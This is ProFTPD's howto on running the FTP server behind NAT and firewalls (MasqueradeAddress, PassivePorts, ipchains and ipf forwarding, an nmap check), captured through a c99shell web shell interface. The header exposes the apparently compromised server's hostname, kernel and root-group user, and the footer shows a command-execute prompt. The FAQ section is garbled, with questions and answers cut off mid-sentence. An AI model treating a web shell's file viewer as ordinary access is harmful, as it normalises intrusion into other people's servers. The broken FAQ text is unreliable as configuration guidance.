Software: Apache. PHP/8.1.30 uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root) Safe-mode: OFF (not secure) /usr/share/doc/proftpd-doc/howto/ drwxr-xr-x |
Viewing file: Select action/file-type: ProFTPD: Firewalls, Routers, and NAT
Basic NAT information For server systems, NAT can improve security and enable multiple servers to be accessed using a single IP address. This is done by allowing certain ports forwarded "inward" to the local network. However, the part of the FTP protocol known as "passive" data transfers is not by default compatible with NAT solutions. But NAT functionality is possible with ProFTPD versions 1.2rc2 and later. Note: for details on NAT configuration for Linux, read the Linux IP-masq HOWTO at: tldp.org/HOWTO/IP-Masquerade-HOWTO/or search for information concerning your OS of choice.
Configuring ProFTPD behind NAT MasqueradeAddress ftp.mydomain.com # using a DNS name MasqueradeAddress 123.45.67.89 # using an IP addressNow your proftpd will hide its local address and instead use the
public address of your NAT.
However, one big problem still exists. The passive FTP connections will use ports from 1024 and up, which means that you must forward all ports 1024-65535 from the NAT to the FTP server! And you have to allow many (possibly) dangerous ports in your firewalling rules! Not a good situation. For a good description of active versus passive FTP data transfers, see: http://slacksite.com/other/ftp.htmlTo resolve this, simply use the PassivePorts directive
in your proftpd.conf to control what ports proftpd
will use for its passive data transfers:
PassivePorts 60000 65535 # These ports should be safe...Note that if the configured range of ports is too small, connecting clients may experience delays or be completely unable to operate when they request passive data transfers. When the daemon cannot use one of the ports in the configured range, it will fall back to using a kernel-assigned port, and log a message reporting the issue. The clients' ability to use this non-configured port will then depend on any NAT, router, or firewall configuration. Now start the FTP daemon and you should see something like: 123.45.67.89 - Masquerading as '123.45.67.89' (123.45.67.89)in the log files.
A Linux Example
First we need to enable NAT for our FTP server. As $ echo "1">/proc/sys/net/ipv4/ip_forward $ ipchains -P forward DENY $ ipchains -I forward -s 192.168.1.2 -j MASQNow we load the autofw kernel module and forward ports 20 and 21
to the FTP server:
$ insmod ip_masq_autofw $ ipmasqadm autofw -A -r tcp 20 21 -h 192.168.1.2Then we forward ports for passive FTP transfers. In our proftpd.conf file we restricted passive transfers to ports
60000-65535, so that is what we use here as well:
$ ipmasqadm autofw -A -r tcp 60000 65535 -h 192.168.1.2
If instead your Linux system uses IP Filters, then you might do something
like the following. First, update your # Allow passive FTP transfers from ports 49152 to 65534, the IANA-registered # ephemeral port range. pass in quick proto tcp from any to any port 49151 >< 65535 flags S keep stateThen make sure that the changes take effect by using: $ ipf -Fa -f /path/to/ipf.conf
Double Checking $ nmap -sT -I -p 60000-65535 localhostIf the result says something like: All 5536 scanned ports on localhost (127.0.0.1) are: closedthen you should be safe.
Frequently Asked Questions
Question: How do I know if my
Question: I am using the May 20 17:00:55 www.example.com proftpd[10078] wwww.example.com (::ffff:1.2.3.4[::ffff:1.2.3.4]): Refused PORT 192,168,1,2,193,116 (address mismatch)Answer: The PORT there means that the
FTP client is requesting an active data transfer; this means that
proftpd is being asked to actively connect to the client
(to the given address 192.168.1.2, port 49524).
The first problem is, as the log message indicates, that the IP address
given in the The next problem is that 192.168.1.2 IP address is not a publicly routable I address; specifically, it is part of an RFC 1918 address space. This means that is not possible for proftpd to connect to that address (unless proftpd is located in the same LAN).
The solution for these situations is to a) configure proftpd to use
both
Question: I am using MasqueradeAddress ftp.example.comand see the internal IP address in the PASV response, it
suggests that proftpd , when starting up, resolves that DNS name
from within your LAN, and gets that internal IP address. Rather than using
the DNS name, you should explicitly use the external IP address in your
MasqueradeAddress directive:
MasqueradeAddress 1.2.3.4where "1.2.3.4" is your real external IP address.
Question: Can I configure <Limit EPSV PASV> DenyAll </Limit>
Question: How can I make
For those that need to see a concrete example configuration of this:
On the other hand, there can be cases where you really do need
different
|
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]-- |